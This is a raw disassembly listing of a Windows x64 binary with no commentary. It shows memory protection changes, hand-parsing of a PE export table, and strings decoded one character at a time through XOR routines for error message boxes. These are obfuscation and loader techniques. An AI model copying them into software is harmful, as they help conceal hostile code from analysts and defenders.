mov edx, 0x1000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rsp + 0x20], rsi
mov r9, qword [rbp - 0x38]
mov r8, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x30]
mov rcx, qword [rsp + 0x70]
call rdi
mov edi, eax
lea r9, [rbp + 0xf10]
mov r8d, dword [rbp + 0xf10]
mov edx, 0x1000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1400b4da0
lea edx, [rsi + 0xb]
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400dd364], esi
lea esi, [r14 - 0xc]
jmp 0x14002b746
mov rcx, qword [rbp - 0x50]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14002bf05
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002bf05
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002bf05
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002bf05
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov r15d, dword [rax + 0x24]
add r15, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edi, edi
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14002bf02
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x4b9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002bef4
inc rax
test edi, edi
jne 0x14002bedf
test r8d, r8d
je 0x14002bf1f
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x14002bece
xor r15d, r15d
mov edi, r15d
test edi, edi
js 0x14002c0a6
mov r14d, 1
mov ecx, r14d
call fcn.140093e48
int3
movzx eax, word [r15 + rdx*2]
mov edx, dword [r11 + rax*4]
xor r15d, r15d
add rdx, rcx
je 0x14002bf05
mov eax, dword [rdx + 4]
mov dword [rsp + 0x78], eax
lea ecx, [r15 + 1]
cmp eax, ecx
jl 0x14002bf05
mov edx, 0x1000
xor ecx, ecx
lea r9d, [r15 + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.14008ce90
or dword [rbp + 0x7274], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x5ef0]
call fcn.14002ef44
lea rcx, [rbp + 0x5ef0]
call fcn.14002e95c
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor eax, eax
mov esi, eax
lea r12d, [rax + 1]
lea rcx, [rbp + 0x5ef0]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rsi*8 + 0x45540], rax
add rsi, r12
cmp rsi, 0x200
jl 0x14002bfb5
mov esi, 0x1000
mov r8d, esi
lea rdx, [rbp + 0x45540]
mov rcx, r15
call fcn.1400b4700
mov eax, dword [rsp + 0x78]
mov dword [0x1400dd364], eax
add rdi, r15
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xf0c], eax
lea r9, [rbp + 0xf0c]
mov r8d, r14d
mov edx, esi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r12d, 0x8000
mov r9d, r12d
lea r8, [rbp + 0xd80]
lea rdx, [rbp + 0xda0]
mov rcx, qword [rsp + 0x70]
call rdi
mov edi, eax
lea r9, [rbp + 0xf0c]
mov r8d, dword [rbp + 0xf0c]
mov edx, esi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, r15
call fcn.1400b4da0
mov r8d, r12d
mov edx, ntohs
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r15d, r15d
mov dword [0x1400dd364], r15d
lea esi, [r15 + 0x14]
lea r12d, [r15 + 0x10]
jmp 0x14002bf08
mov dword [rbp + 0xbd8], 0x76e31a7a
mov dword [rbp + 0xbdc], 0x1d8e0795
mov byte [rbp + 0xbe0], 0x7a
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xbd8]
call fcn.14002e0f0
mov byte [rbp + 0xbe1], al
mov r9, rbx
mov r8d, 9
mov dl, r14b
lea rcx, [rbp + 0xbd8]
call fcn.14002e0f0
mov byte [rbp + 0xbe2], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x57
lea rcx, [rbp + 0xbd8]
call fcn.14002e0f0
mov byte [rbp + 0xbe3], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0xbd8]
call fcn.14002e0f0
mov byte [rbp + 0xbe4], al
mov r9, rbx
mov r8d, ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0xbd8]
call fcn.14002e0f0
mov byte [rbp + 0xbe5], al
mov r9, rbx
mov r15d, reloc.WS2_32.dll_listen
mov r8d, r15d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xbd8]
call fcn.14002e0f0
mov byte [rbp + 0xbe6], al
mov r9, rbx
lea r8d, [r15 + 1]
mov dl, 0x69
lea rcx, [rbp + 0xbd8]
call fcn.14002e0f0
mov byte [rbp + 0xbe7], al
mov r9, rbx
lea r8d, [r15 + 2]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xbd8]
call fcn.14002e0f0
mov byte [rbp + 0xbe8], al
mov r9, rbx
mov r8, r12
mov dl, 0x67
lea rcx, [rbp + 0xbd8]
call fcn.14002e0f0
mov byte [rbp + 0xbe9], al
xor eax, eax
mov byte [rbp + 0xbea], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [r15 - 0xc]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0xbd8]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xbd8]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xbd9], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x14002c1e2
xor r10d, r10d
mov byte [rbp + 0xbea], r10b
mov dword [rbp + 0xbf0], 0x79106216
mov dword [rbp + 0xbf4], 0x3c699b63
mov word [rbp + 0xbf8], 0x437f
mov byte [rbp + 0xbfa], reloc.WLDAP32.dll_Ordinal_41
lea edi, [r10 + 0x18]
mov r9d, edi
lea r8d, [r10 + 0xa]
mov dl, 0x43
lea rcx, [rbp + 0xbf0]
call fcn.14002f40c
mov byte [rbp + 0xbfb], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0xbf0]
call fcn.14002f40c
mov byte [rbp + 0xbfc], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x65
lea rcx, [rbp + 0xbf0]
call fcn.14002f40c
mov byte [rbp + 0xbfd], al
mov r9d, edi
mov r8, r15
mov dl, 0x61
lea rcx, [rbp + 0xbf0]
call fcn.14002f40c
mov byte [rbp + 0xbfe], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xbf0]
call fcn.14002f40c
mov byte [rbp + 0xbff], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x75
lea rcx, [rbp + 0xbf0]
call fcn.14002f40c
mov byte [rbp + 0xc00], al
mov r9d, edi
mov r8, r12
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xbf0]
call fcn.14002f40c
mov byte [rbp + 0xc01], al
mov r9d, edi
mov r8, rbx
mov dl, r14b
lea rcx, [rbp + 0xbf0]
call fcn.14002f40c
mov byte [rbp + 0xc02], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x49
lea rcx, [rbp + 0xbf0]
call fcn.14002f40c
mov byte [rbp + 0xc03], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x6d
lea rcx, [rbp + 0xbf0]
call fcn.14002f40c
mov byte [rbp + 0xc04], al
mov r9d, edi
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0xbf0]
call fcn.14002f40c
mov byte [rbp + 0xc05], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x67
lea rcx, [rbp + 0xbf0]
call fcn.14002f40c
mov byte [rbp + 0xc06], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x65
lea rcx, [rbp + 0xbf0]
call fcn.14002f40c
mov byte [rbp + 0xc07], al
mov r9d, edi
mov r8, r13
mov dl, reloc.WLDAP32.dll_Ordinal_33
lea rcx, [rbp + 0xbf0]
call fcn.14002f40c
mov byte [rbp + 0xc08], al
xor eax, eax
mov byte [rbp + 0xc09], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x17]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0xbf0]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x18]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xbf0]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xbf1], dil
add r8, rbx
add r9, 0x18
cmp r9, 0x258
jb 0x14002c419
mov byte [rbp + 0xc09], r10b
xor r9d, r9d
lea r8, [rbp + 0xbd9]
lea rdx, [rbp + 0xbf1]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.140093e48
int3
mov word [rbp + 0x808], 0x487d
mov byte [rbp + 0x80a], 0xa9
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x808]
call fcn.14002e0f0
mov byte [rbp + 0x80b], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x808]
call fcn.14002e0f0
mov byte [rbp + 0x80c], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x808]
call fcn.14002e0f0
mov byte [rbp + 0x80d], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x808]
call fcn.14002e0f0
mov byte [rbp + 0x80e], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x808]
call fcn.14002e0f0
mov byte [rbp + 0x80f], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x808]
call fcn.14002e0f0
mov byte [rbp + 0x810], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x808]
call fcn.14002e0f0
mov byte [rbp + 0x811], al
mov r9, rbx
mov r8d, 9
mov dl, r14b
lea rcx, [rbp + 0x808]
call fcn.14002e0f0
mov byte [rbp + 0x812], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x808]
call fcn.14002e0f0
mov byte [rbp + 0x813], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x808]
call fcn.14002e0f0
mov byte [rbp + 0x814], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x808]
call fcn.14002e0f0
mov byte [rbp + 0x815], al
mov r9, rbx
mov r15d, reloc.WS2_32.dll_listen
mov r8d, r15d
mov dl, 0x6c
lea rcx, [rbp + 0x808]
call fcn.14002e0f0
mov byte [rbp + 0x816], al
mov r9, rbx
lea r8d, [r15 + 1]
mov dl, 0x75
lea rcx, [rbp + 0x808]
call fcn.14002e0f0
mov byte [rbp + 0x817], al
mov r9, rbx
lea r8d, [r15 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x808]
call fcn.14002e0f0
mov byte [rbp + 0x818], al
mov r9, rbx
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x808]
call fcn.14002e0f0
mov byte [rbp + 0x819], al
xor eax, eax
mov byte [rbp + 0x81a], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [r15 - 0xc]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x808]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x808]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x809], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x14002c691
xor r10d, r10d
mov byte [rbp + 0x81a], r10b
mov word [rbp + 0x970], 0x2135
mov byte [rbp + 0x972], Ordinal_211
lea edi, [r10 + 0x19]
mov r9d, edi
lea r8d, [r10 + 2]
mov dl, 0x69
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x973], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, 0x6c
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x974], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, 0x65
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x975], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, 0x64
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x976], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, r14b
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x977], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x978], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x979], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, r14b
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x97a], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x51
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x97b], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, 0x75
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x97c], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x65
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x97d], al
mov r9d, edi
mov r8, r15
mov dl, WSAStartup
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x97e], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, 0x79
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x97f], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, r14b
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x980], al
mov r9d, edi
mov r8, r12
mov dl, 0x45
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x981], al
mov r9d, edi
mov r8, rbx
mov dl, 0x78
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x982], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x65
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x983], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x63
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x984], al
mov r9d, edi
mov r8, rsi
mov dl, 0x75
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x985], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x986], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x69
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x987], al
mov r9d, edi
mov r8, r13
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x988], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x970]
call fcn.14002f488
mov byte [rbp + 0x989], al
xor eax, eax
mov byte [rbp + 0x98a], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x18]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x970]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x19]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x970]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x971], dil
add r8, rbx
add r9, 0x19
cmp r9, 0x28a
jb 0x14002c9a9
mov byte [rbp + 0x98a], r10b
xor r9d, r9d
lea r8, [rbp + 0x809]
lea rdx, [rbp + 0x971]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.140093e48
int3
mov word [rbp + 0x380], 0x1623
mov r9, rbx
mov r8, rcx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x380]
call fcn.14002e0f0
mov byte [rbp + 0x382], al
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x380]
call fcn.14002e0f0
mov byte [rbp + 0x383], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x380]
call fcn.14002e0f0
mov byte [rbp + 0x384], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x380]
call fcn.14002e0f0
mov byte [rbp + 0x385], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x380]
call fcn.14002e0f0
mov byte [rbp + 0x386], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x380]
call fcn.14002e0f0
mov byte [rbp + 0x387], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x380]
call fcn.14002e0f0
mov byte [rbp + 0x388], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x380]
call fcn.14002e0f0
mov byte [rbp + 0x389], al
mov r9, rbx
mov r8d, 9
mov dl, r14b
lea rcx, [rbp + 0x380]
call fcn.14002e0f0
mov byte [rbp + 0x38a], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x380]
call fcn.14002e0f0
mov byte [rbp + 0x38b], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x380]
call fcn.14002e0f0
mov byte [rbp + 0x38c], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x380]
call fcn.14002e0f0
mov byte [rbp + 0x38d], al
mov r9, rbx
mov r15d, reloc.WS2_32.dll_listen
mov r8d, r15d
mov dl, 0x6c
lea rcx, [rbp + 0x380]
call fcn.14002e0f0
mov byte [rbp + 0x38e], al
mov r9, rbx
lea r8d, [r15 + 1]
mov dl, 0x75
lea rcx, [rbp + 0x380]
call fcn.14002e0f0
mov byte [rbp + 0x38f], al
mov r9, rbx
lea r8d, [r15 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x380]
call fcn.14002e0f0
mov byte [rbp + 0x390], al
mov r9, rbx
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x380]
call fcn.14002e0f0
mov byte [rbp + 0x391], al
xor eax, eax
mov byte [rbp + 0x392], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [r15 - 0xc]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x380]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x380]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x381], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x14002cc34
xor r10d, r10d
mov byte [rbp + 0x392], r10b
mov word [rbp + 0x7e8], 0xac7a
lea edi, [r10 + 0x1a]
mov r9d, edi
mov r8, r11
mov dl, 0x61
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x7ea], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, 0x69
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x7eb], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x6c
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x7ec], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, 0x65
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x7ed], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, 0x64
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x7ee], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, r14b
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x7ef], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x7f0], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x7f1], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, r14b
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x7f2], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, 0x4d
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x7f3], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x61
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x7f4], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x7f5], al
mov r9d, edi
mov r8, r15
mov dl, r14b
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x7f6], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x53
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x7f7], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x7f8], al
mov r9d, edi
mov r8, r12
mov dl, 0x61
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x7f9], al
mov r9d, edi
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x7fa], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x7fb], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x75
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x7fc], al
mov r9d, edi
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x7fd], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, r14b
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x7fe], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, 0x49
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x7ff], al
mov r9d, edi
mov r8, r13
mov dl, WSAGetLastError
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x800], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x66
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x801], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x7e8]
call fcn.14002f578
mov byte [rbp + 0x802], al
xor eax, eax
mov byte [rbp + 0x803], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x19]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x7e8]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1a]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x7e8]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x7e9], dil
add r8, rbx
add r9, 0x1a
cmp r9, 0x2be
jb 0x14002cf7b
mov byte [rbp + 0x803], r10b
xor r9d, r9d
lea r8, [rbp + 0x381]
lea rdx, [rbp + 0x7e9]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.140093e48
int3
mov byte [rbp + 0x210], 0x3e
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x210]
call fcn.14002e0f0
mov byte [rbp + 0x211], al
mov r9, rbx
mov r15d, 1
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x210]
call fcn.14002e0f0
mov byte [rbp + 0x212], al
mov r9, rbx
lea r8d, [r15 + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x210]
call fcn.14002e0f0
mov byte [rbp + 0x213], al
mov r9, rbx
lea r8d, [r15 + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x210]
call fcn.14002e0f0
mov byte [rbp + 0x214], al
mov r9, rbx
lea r8d, [r15 + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x210]
call fcn.14002e0f0
mov byte [rbp + 0x215], al
mov r9, rbx
lea r8d, [r15 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x210]
call fcn.14002e0f0
mov byte [rbp + 0x216], al
mov r9, rbx
lea r8d, [r15 + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x210]
call fcn.14002e0f0
mov byte [rbp + 0x217], al
mov r9, rbx
lea r8d, [r15 + 6]
mov dl, 0x61
lea rcx, [rbp + 0x210]
call fcn.14002e0f0
mov byte [rbp + 0x218], al
mov r9, rbx
lea r8d, [r15 + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x210]
call fcn.14002e0f0
mov byte [rbp + 0x219], al
mov r9, rbx
lea r8d, [r15 + 8]
mov dl, r14b
lea rcx, [rbp + 0x210]
call fcn.14002e0f0
mov byte [rbp + 0x21a], al
mov r9, rbx
lea r8d, [r15 + 9]
mov dl, 0x46
lea rcx, [rbp + 0x210]
call fcn.14002e0f0
mov byte [rbp + 0x21b], al
mov r9, rbx
lea r8d, [r15 + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x210]
call fcn.14002e0f0
mov byte [rbp + 0x21c], al
mov r9, rbx
lea r8d, [r15 + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x210]
call fcn.14002e0f0
mov byte [rbp + 0x21d], al
mov r9, rbx
lea r13d, [r15 + 0xc]
mov r8d, r13d
mov dl, 0x6c
lea rcx, [rbp + 0x210]
call fcn.14002e0f0
mov byte [rbp + 0x21e], al
mov r9, rbx
lea r8d, [r15 + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x210]
call fcn.14002e0f0
mov byte [rbp + 0x21f], al
